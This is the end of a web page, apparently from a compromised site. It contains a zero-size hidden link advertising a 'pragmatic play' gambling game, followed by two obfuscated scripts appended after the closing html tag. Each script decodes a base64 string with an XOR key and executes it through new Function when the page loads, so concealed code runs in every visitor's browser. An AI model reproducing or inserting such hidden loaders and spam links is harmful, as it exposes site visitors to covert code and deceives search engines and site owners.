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<!-- sc5a72ec-965157 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>